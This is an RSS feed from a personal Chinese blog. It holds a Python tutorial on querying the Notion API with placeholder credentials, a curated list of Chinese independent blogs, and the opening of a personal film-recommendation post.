<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title><![CDATA[3R1CCHENG]]></title>
        <description><![CDATA[3R1CCHENG]]></description>
        <link>https://z-zh.lol</link>
        <generator>RSS for Node</generator>
        <lastBuildDate>Sun, 10 May 2026 09:47:38 GMT</lastBuildDate>
        <atom:link href="https://z-zh.lol/feed.xml" rel="self" type="application/rss+xml"/>
        <language><![CDATA[en]]></language>
        <ttl>1440</ttl>
        <item>
            <title><![CDATA[python与notion api实践 ]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/python与notion-api实践</link>
            <guid isPermaLink="true">https://z-zh.lol/python与notion-api实践</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>
&lt;h2&gt;Notion API&lt;/h2&gt;
&lt;h3&gt;官方文档&lt;/h3&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://developers.notion.com/docs/getting-started&quot;&gt;Notion API Overview&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;官方postman示例&lt;/h3&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://www.postman.com/notionhq/notion-s-api-workspace/collection/y28pjg6/notion-api&quot;&gt;Notion API | Notion&apos;s API Workspace&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在postman中可以查询到大部分的请求&lt;/p&gt;
&lt;p&gt;其中，有以下几个关键的参数需从自己的工作区获取&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Mermaid&quot;&gt;flowchart TD

	subgraph A[1、New Integrations]
  B([NOTION_API_KEY]) 
	end
	
	subgraph C[2、Notion Databases]
	D&amp;gt;database id]
	end 
	
	A --&amp;gt;|connect| C
	
	
	E -. 3、get .-&amp;gt; B
  E(python code) -. 3、get .-&amp;gt; D
  E --&amp;gt; |4、request|C
	
  &lt;/code&gt;&lt;/pre&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Aba44ba2b-40ca-4126-ad12-91955ff5314f%3Aimage.png?table=block&amp;amp;id=1b3d4cd6-1e26-8082-9ecb-f7127d63bd10&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h2&gt;获取参数&lt;/h2&gt;
&lt;h3&gt;Token(NOTION_API_KEY)&lt;/h3&gt;
&lt;blockquote&gt;notion集成，或者叫notion整合&lt;/blockquote&gt;
&lt;p&gt;在 notino整合(&lt;a href=&quot;https://www.notion.so/profile/integrations&quot;&gt;notion integrations&lt;/a&gt;)中创建「新的整合」，命名为 &lt;code&gt;new_integration&lt;/code&gt; ，获取此「内部整合密钥」即为 &lt;code&gt;token&lt;/code&gt; (&lt;code&gt;NOTION_API_KEY&lt;/code&gt;)&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A95998713-216f-4bf1-97c3-6f0d42a9f27f%3Aimage.png?table=block&amp;amp;id=1b2d4cd6-1e26-80f7-9d53-e6ee39fa948d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;👆与database连接👇&lt;/h3&gt;
&lt;p&gt;获取到的&lt;code&gt;NOTION_API_KEY&lt;/code&gt;就作为纽带，可以通过 API 与个人的工作区建立连接，但在此之前，需要先将个人的&lt;code&gt;整合&lt;/code&gt;与&lt;code&gt;工作区&lt;/code&gt;连接。&lt;/p&gt;
&lt;p&gt;在数据库右上角菜单选择「连接」，搜索对应的整合名，建立连接&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Ab4dcf183-58dd-4bd7-95b1-b31c0087e14b%3Aimage.png?table=block&amp;amp;id=1b2d4cd6-1e26-8082-863e-f8b4e222eb10&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;h3&gt;获取database id（DATABASE_ID）&lt;/h3&gt;
&lt;p&gt;右上角分享，「复制链接」&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3Aa778c572-1507-4a11-89fd-621bcd7f7f25%3Aimage.png?table=block&amp;amp;id=1b2d4cd6-1e26-80d3-9602-f264c82a8a00&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;形如：&lt;code&gt;https://www.notion.so/xxx/d3f42a0b8cxxx…xxxc1280552?v=e43d91fbxxx…xxx863230&amp;amp;pvs=4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;获取到链接中 &lt;code&gt;notion.so&lt;/code&gt; 和 &lt;code&gt;?&lt;/code&gt; 之间的&lt;code&gt;id&lt;/code&gt; ，即为&lt;code&gt;database id&lt;/code&gt;，例如以上示例中的&lt;code&gt;d3f42a0b8cxxx…xxxc1280552&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;查询数据库&lt;/h2&gt;
&lt;h3&gt;header&lt;/h3&gt;
&lt;p&gt;请求头中需要带上的参数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;headers = {
        &apos;Authorization&apos;: f&apos;Bearer {NOTION_TOKEN}&apos;,
        &apos;Notion-Version&apos;: &apos;2022-06-28&apos;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;2022-06-28&lt;/code&gt;是notion api的最新版本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;def get_headers(include_content_type=False):
    headers = {
        &apos;Authorization&apos;: f&apos;Bearer {NOTION_TOKEN}&apos;,
        &apos;Notion-Version&apos;: &apos;2022-06-28&apos;
    }
    if include_content_type:
        headers[&apos;Content-Type&apos;] = &apos;application/json&apos;
    return headers&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;database_query_url&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;url = f&apos;https://api.notion.com/v1/databases/{databases_id}/query&apos;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;database_query()&lt;/h3&gt;
&lt;p&gt;具体的请求参见notion官方的postman工作区&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;
def databases_query():
    headers = get_headers()
    databases_id = NOTION_DATABASE_ID

   
    url = f&apos;https://api.notion.com/v1/databases/{databases_id}/query&apos;
    response = requests.post(url, headers=headers)
    if response.status_code == 200:
        data = response.json()
        logger.debug(json.dumps(data, ensure_ascii=False, indent=4))
        return data
    else:
        logger.error(f&amp;quot;请求失败，状态码: {response.status_code}&amp;quot;)
        return None&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;retrieve与query&lt;/h3&gt;
&lt;p&gt;在对&lt;code&gt;database&lt;/code&gt;s和&lt;code&gt;page&lt;/code&gt;的请求中，分为&lt;code&gt;retrieve&lt;/code&gt;和&lt;code&gt;query&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;databases&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;&lt;code&gt;retrieve&lt;/code&gt;&lt;p&gt;获取 &lt;code&gt;databases/pages&lt;/code&gt; 的属性，包括其&lt;code&gt;title&lt;/code&gt;和&lt;code&gt;property&lt;/code&gt; 选项，而不会返回 &lt;code&gt;database/page&lt;/code&gt; 中的内容&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;url = f&apos;https://api.notion.com/v1/databases/{databases_id}&apos;
response = requests.get(url, headers=headers)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;query&lt;/code&gt;&lt;p&gt;获取 &lt;code&gt;databases/pages&lt;/code&gt;的内容及&lt;code&gt;property&lt;/code&gt;内容&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;url = f&apos;https://api.notion.com/v1/databases/{databases_id}/query&apos;
response = requests.post(url, headers=headers)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;pages&lt;/h4&gt;
&lt;p&gt;但实际上 &lt;code&gt;databases&lt;/code&gt; 与 &lt;code&gt;pages&lt;/code&gt; 的查询还是有一个区别，&lt;code&gt;databases&lt;/code&gt;是通过以上所说的 &lt;code&gt;retrieve&lt;/code&gt;和&lt;code&gt;query&lt;/code&gt;分别获取属性和查询内容，但是官方提供的&lt;code&gt;pages&lt;/code&gt;查询只有通过&lt;code&gt;retrieve&lt;/code&gt;来获取属性，而要获取&lt;code&gt;pages&lt;/code&gt;的内容则是通过&lt;code&gt;retrieve blocks&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;&lt;code&gt;retrieve&lt;/code&gt;&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;url = f&apos;https://api.notion.com/v1/pages/{page_id}&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;query&lt;/code&gt;&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;url = f&apos;https://api.notion.com/v1/blocks/{page_id}/children?page_size=100&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;h3&gt;创建pages等&lt;/h3&gt;
&lt;p&gt;此后的请求参考官方postman即可，关于字段如何构建，则可先在&lt;code&gt;databases/pages&lt;/code&gt;中手动构建，再通过&lt;code&gt;retrieve/query&lt;/code&gt;反推，这也是上文着重的原因&lt;/p&gt;
&lt;h2&gt;End&lt;/h2&gt;</content:encoded>
        </item>
        <item>
            <title><![CDATA[中文博客琅琊榜]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/cn-blogs</link>
            <guid isPermaLink="true">https://z-zh.lol/cn-blogs</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>&lt;h2&gt;中文博客琅琊榜&lt;/h2&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;🔗&lt;/span&gt;&lt;p&gt;原文地址：&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;前言&lt;/h3&gt;
&lt;p&gt;中文博客琅琊榜，只收录优质的中文独立博客，全网最精品。已收录博客数量：328 个博客站点。&lt;/p&gt;
&lt;h4&gt;收录条件&lt;/h4&gt;
&lt;p&gt;收录条件：持续更新、高质量、阅读体验良好、最好提供RSS订阅链接。&lt;/p&gt;
&lt;p&gt;欢迎提交 GitHub issues 进行补充。可以推荐别人的博客并附上真诚的推荐语，但不接受自荐。&lt;/p&gt;
&lt;h4&gt;阅读建议&lt;/h4&gt;
&lt;p&gt;随便挑选一个博客，都能让你徜徉一整天。《观念的力量》一书的前言有一段话，我将其进行改编：&lt;/p&gt;
&lt;blockquote&gt;这些博主才华横溢，满怀自由精神， 他们的观念具有一种无法遏制的力量。我无比羡慕那些正准备阅读这些文章的人，他们面对的是一场精神的盛宴。&lt;/blockquote&gt;
&lt;h3&gt;一、中流砥柱&lt;/h3&gt;
&lt;h4&gt;阮一峰&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://www.ruanyifeng.com/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;擅长领域：JavaScript、ECMAScript、科技周刊等。&lt;/p&gt;
&lt;h4&gt;酷壳（陈皓/左耳朵耗子）&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://coolshell.cn&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;骨灰级程序员。擅长领域：专注底层，C++，JAVA，UNIX/LINUX等。&lt;/p&gt;
&lt;h4&gt;和菜头：槽边往事&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://www.hecaitou.com/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;在今天重新审视博客，发现博客还是有其他互联网产品所替代不了的优势。详见文章：《&lt;a href=&quot;https://www.hecaitou.com/2023/05/Reload-blog.html&quot;&gt;重开博客&lt;/a&gt;》&lt;/p&gt;
&lt;h4&gt;王垠&lt;/h4&gt;
&lt;p&gt;博客地址：&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;当然我在扯淡：https://www.yinwang.org&lt;/li&gt;
&lt;li&gt;王垠的草稿本：https://yinwang1.wordpress.com&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;云风&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://blog.codingnow.com/&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;王五四文集&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：http://wang54.blogspot.com/&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;卢昌海&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://www.changhai.org&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;物理学博士，科普作家。复旦大学物理系 (本科)，哥伦比亚大学物理系 (博士)。&lt;/p&gt;
&lt;h4&gt;魏武挥&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;扯氮集：http://weiwuhui.com/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;魏老师执教于上海交通大学媒体与传播学院，天奇创投基金管理合伙人。媒体行业的思考和见解，尽在魏老师。&lt;/p&gt;
&lt;h4&gt;郝海龙&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：&lt;a href=&quot;https://haohailong.net/&quot;&gt;https://haohailong.net/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;《林中来信》出品人，长期从事出国考试培训和咨询业务。&lt;/p&gt;
&lt;h4&gt;李如一&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;一天世界：&lt;a href=&quot;https://blog.yitianshijie.net/&quot;&gt;https://blog.yitianshijie.net/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Apple4us（不再更新）：&lt;a href=&quot;https://apple4us.com/&quot;&gt;https://apple4us.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;《一天世界》《滅茶苦茶》《無次元》作者；IPN（播客网络）创始人；唐茶（字节社）创始人。&lt;/p&gt;
&lt;p&gt;代表文章：《&lt;a href=&quot;https://apple4us.com/2012/recommendation-is-hard&quot;&gt;李如一 | 论推荐之难&lt;/a&gt;》《&lt;a href=&quot;https://apple4us.com/2014/lawrence-articles-for-qdaily&quot;&gt;李如一在《好奇心日報》（Qdaily.com）文章列表&lt;/a&gt;》&lt;/p&gt;
&lt;h3&gt;二、综合博主&lt;/h3&gt;
&lt;h4&gt;PlatyHsu&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://type.cyhsu.xyz&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;Mac、软件、译文。站在科技和人文的交叉路口。&lt;/p&gt;
&lt;p&gt;PlatyHsu 从2015年开始写博客，至今有100多篇文章（中文为主）；他用英文写 about 页面，且毫无保留；他的 newsletter 会推送每天正在阅读的英文资讯。&lt;/p&gt;
&lt;p&gt;他的博客网站，名字叫 Neverland，意思是：你永远不要期望从中得到一些有用的东西，但你也不可能永远找不到。&lt;/p&gt;
&lt;h4&gt;评论尸&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;虹线-评论尸的自留地：https://1q43.blog/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;公众号“赤潮AKASHIO”，播客“二维吾码”&lt;a href=&quot;https://jike.city/pls&quot;&gt;主理人&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;代表作：&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;《互联网是人类历史的一段弯路吗？》：5万字，收录于《读库2005》；&lt;/li&gt;
&lt;li&gt;《垄断的困境》：6万字，收录于《读库2105》&lt;/li&gt;
&lt;li&gt;《互联网与中国后现代性呓语》：8万字，收录于《读库2204》。&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;Camellia Yang 翊瑄&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://www.camelliayang.com/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;作者的创作聚焦生活方式、东西方哲思和奇怪的短篇小说，从去年开始中英文同时创作，包括公众号、邮件订阅、双语播客等等。&lt;/p&gt;
&lt;p&gt;1988年出生于中国山东济南；2007年被山东财经大学录取；2010年在中国获得英国文学和国际商务哲学硕士学位，然后搬到新西兰奥克兰；2013年在新西兰航空公司担任社交媒体专家；2015年辞去工作，环游世界；2021年作为一个数字游牧者，在英格兰、拉脱维亚和葡萄牙与三大洲的客户进行远程工作；2022年搬到葡萄牙，以艺术的方式生活。&lt;/p&gt;
&lt;p&gt;其他链接：&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;公众号/播客：理想屯&lt;/li&gt;
&lt;li&gt;Twitter：&lt;a href=&quot;https://twitter.com/Camelliayang&quot;&gt;Camellia Yang 翊瑄&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;天仙子（秦海碗）&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://tianxianzi.me/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;一个充满思考、文字气息的博客，内容十分丰富，日记、随笔、小说、诗歌、书影音，当然还有作者喜欢的酒。&lt;/p&gt;
&lt;p&gt;我选择了一个很素净的网站主题，像是印刷品，也像是信纸。在这样的主题下写作就像在文中那个被积雪压弯了屋顶的小屋里写作，很安静。这个网站也是我直接与你对话的方式。我没有设置评论区（尽管这个主题有这功能），正是因为我希望自己是在与你们每一个人对话。这个网站连接的只有我和你，没有其他人。我希望这是在和你促膝谈心。&lt;/p&gt;
&lt;h4&gt;心的道理&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://stephenleng.com/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;冷金乘，中文网名是浮云笑此生。作者是浙江大学历史学院博士生，现为美国弗吉尼亚大学访问学者，学术兴趣为思想史、情绪史、历史哲学、人文主义哲学和心理学。博客创作的内容包含随笔、文化批评、心理学、国际问题和技术，希望能分别从科学和艺术两个角度兴起读者对生活的感悟，并着重批判当代文化中的一些谬误、偏见、狂妄、愚蠢和欺骗。&lt;/p&gt;
&lt;p&gt;关于本博客的创作宗旨，可参考&lt;a href=&quot;https://stephenleng.com/why-we-fight/&quot;&gt;这篇文章&lt;/a&gt;。本博客面向的预期读者是全世界能够使用中文的人，包括简体中文和繁體中文（或正體中文），包括母语和非母语。希望它创作的内容能得到普遍性的理解甚至共鸣，而不是局限于一时一地的特殊情况。&lt;/p&gt;
&lt;h4&gt;Luyao Zhang&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://zhangluyao.com/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;这些年用自己的域名写 blog 的人不多了。其中有一些文章写的真好。尤其是那种深深的有趣感，是&lt;a href=&quot;https://mp.weixin.qq.com/s/nFnx0iDCSLkAreBtQUD7_g&quot;&gt;我&lt;/a&gt;很久没有感觉到的。&lt;/p&gt;
&lt;h4&gt;happy xiao&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://happyxiao.com&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;关注的领域很广：流行哲学、数码产品、应用、Apple、阅读、创作视频、播客、blog、打篮球、跑步。&lt;/p&gt;
&lt;p&gt;博客、播客、视频、newsletter、twitter均值得关注。&lt;/p&gt;
&lt;h4&gt;尺宅叟&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;尺宅杂记：&lt;a href=&quot;http://www.qncd.com/&quot;&gt;http://www.qncd.com/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;尺宅叟，一枚前——愤青、伪文青、互联网从业者、创业总是失败者、攻城狮、自由撰稿人、摄影师、杂志主编和独立Blogger；从2002年至今，在各类媒体发表二十余万字、百余幅摄影作品。现为摆脱后工业时代职业束缚的斜杠多重职业者，以及常常一个人活成一支队伍的中年生活幸存者。&lt;/p&gt;
&lt;p&gt;以下推荐语，摘自@为也行：&lt;/p&gt;
&lt;blockquote&gt;一个我很喜欢的博客，博主是一位老师，频繁在博客更新他的阅读书籍、备课、与学生的互动趣事。&lt;/blockquote&gt;
&lt;blockquote&gt;我印象很深的是，他曾说他这个学历不高的人，能当上教师，仅仅是比别人多读了一千本书而已。当然，这只是谦虚之词。&lt;/blockquote&gt;
&lt;blockquote&gt;他家里藏书上千本，全家有良好的读书氛围，女儿小学年纪，热爱读书，沉迷其中，又得到家庭的支持，年纪轻轻就博览群书，这种无忧无虑的读书氛围，让我非常羡慕。&lt;/blockquote&gt;
&lt;h4&gt;COIN DOLLAR PAY&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://coindollarpay.com/&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;王佩的白板报&lt;/h4&gt;
&lt;p&gt;博客地址：&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;白板报：https://wangpei.net/&lt;/li&gt;
&lt;li&gt;王佩的白板报：https://wangpei.me/&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;王佩老师是著名编剧、自由撰稿人。他从1998年开始在互联网上写作，并以幽默作家的身份走红，被戏称为“红心杀手”。他也是一个忠实的博客作者。他的博客“白板报”网站自2004年以来一直在更新。&lt;/p&gt;
&lt;p&gt;相关链接：&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;公众号：白板报&lt;/li&gt;&lt;/ul&gt;
&lt;h4&gt;kaix.in&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：https://kaix.in/&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kaix.in/feed&quot;&gt;RSS订阅&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;因多次更换 blog 程序，2004 年至今存留 548 篇日志，主要涉及咖啡、影音、阅读、生活记录等内容。&lt;/p&gt;
&lt;h4&gt;Linmi&lt;/h4&gt;
&lt;ul&gt;&lt;li&gt;博客地址：&lt;a href=&quot;https://linmi.cc/&quot;&gt;https://linmi.cc/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;Notion 中文社区负责人。95 后，男生，驻京六年。主职是一名运营，从业六年，在技术社区从业已四年半，其中技术知识付费领域已两年半，擅长技术知识付费内容生产，社区运营、增长与 SEO、技术 KOL 培养与运营、线下活动组织等。当然能力边界不止开发者这一垂直领域。目前在某大厂运营某项目管理工具。&lt;/p&gt;

















































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































</content:encoded>
        </item>
        <item>
            <title><![CDATA[菲林之间]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/菲林之间</link>
            <guid isPermaLink="true">https://z-zh.lol/菲林之间</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>&lt;p&gt;&lt;strong&gt;目录&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A42c79b35-313a-4b1b-bb6e-51c29b527b71%3A%E7%A0%B4%E7%A2%8E%E5%A4%AA%E9%98%B3%E4%B9%8B%E5%BF%83.jpg?table=block&amp;amp;id=1a4d4cd6-1e26-8005-a39a-c0e2aac32898&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;blockquote&gt;除了太阳高度
今晚的写作还取决于
天气状况、污染、悬浮颗粒物
孩子们睡得很好
孩子们还在密蓝里游玩
以后我会教他们算术
一朵花加上一朵花等于一朵喇叭花
一只甲壳虫减去一只甲壳虫
等于一条毛毛虫
我写信的时候
心脏是热的
和想你的时候一样
所以我想 人类的爱
肯定保存太阳的核心之中
用来维持着太阳系&lt;/blockquote&gt;&lt;p&gt;————出自：毕赣《破碎太阳之心》&lt;/p&gt;
&lt;h2&gt;🤔 一个浴中奇思&lt;/h2&gt;
&lt;p&gt;假如，人生重来一次，虚度此生后，有哪些电影是你想要看抑或是不可错过的？&lt;/p&gt;
&lt;p&gt;于是，便产生了这篇，非常个人向，并不权威的电影TOP。&lt;/p&gt;
&lt;h2&gt;📝约法三章&lt;/h2&gt;
&lt;p&gt;一不评分&lt;/p&gt;
&lt;p&gt;二不排序&lt;/p&gt;
&lt;p&gt;三分级别——偏爱、喜爱、认可。&lt;/p&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;🤩&lt;/span&gt;&lt;p&gt;偏爱即是个人最爱，此不以艺术水平、普世价值为主要标准，仅以个人审美及趣味为准，敝帚自珍，多半因经历镌刻。年华似水，东去不回。&lt;/p&gt;&lt;/div&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;☺️&lt;/span&gt;&lt;p&gt;喜爱则是均衡电影艺术水平、个人趣味，二者均有高度，但未达到奉为圭臬的程度。&lt;/p&gt;&lt;/div&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;🤗&lt;/span&gt;&lt;p&gt;认可意指电影艺术水平较高，个人不喜不厌，认为即使个人不钟爱也应当为其留有一席之地的。&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;当然，后两者讨论艺术水平都是刍荛之见，管窥蠡测，君请一笑了之。&lt;/p&gt;
&lt;h2&gt;🤩偏爱&lt;/h2&gt;
&lt;h3&gt;Scent of  a Woman&lt;/h3&gt;
&lt;blockquote&gt;Scent of a Woman&lt;ul&gt;&lt;li&gt;1992 &lt;/li&gt;&lt;li&gt;2h 36m
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Director&lt;/strong&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0000976/?ref_=ttfc_fc_dr1&quot;&gt;Martin Brest&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;!--/UL--&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Writers&lt;/strong&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0037097/?ref_=tt_ov_wr_1&quot;&gt;Giovanni Arpino&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0325743/?ref_=tt_ov_wr_2&quot;&gt;Bo Goldman&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0531431/?ref_=tt_ov_wr_3&quot;&gt;Ruggero Maccari&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;!--/UL--&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Stars&lt;/strong&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0000199/?ref_=tt_ov_st_1&quot;&gt;Al Pacino&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0000563/?ref_=tt_ov_st_2&quot;&gt;Chris O&apos;Donnell&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.imdb.com/name/nm0714310/?ref_=tt_ov_st_3&quot;&gt;James Rebhorn&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;!--/UL--&gt;&lt;/blockquote&gt;&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/attachment%3A87aa20fb-2935-4481-b718-1fe79265bf17%3A%E9%97%BB%E9%A6%99%E8%AF%86%E5%A5%B3%E4%BA%BA.webp?table=block&amp;amp;id=1a4d4cd6-1e26-800e-8db1-db75f53c7602&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;div style=&quot;padding:12px 16px;border:1px solid #e0e0e0;border-radius:4px;margin:8px 0;&quot;&gt;&lt;span style=&quot;margin-right:8px;&quot;&gt;🗣&lt;/span&gt;&lt;p&gt;Outta order? I&apos;ll show you outta order! You don&apos;t know what outta order is, Mr. Trask! I&apos;d show you but I&apos;m too old; I&apos;m too tired; I&apos;m too fuckin&apos; blind. If I were the man I was five years ago I&apos;d take a FLAME-THROWER to this place!&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;一个因不愿出卖朋友而被威胁取消奖学金并勒退高级中学的优秀青年，一个因失去人生光明而计划走完人生最后一遭的失意暴躁中校，两个徘徊于人生十字路口的中青年，彼此挽救、彼此指引…&lt;/p&gt;
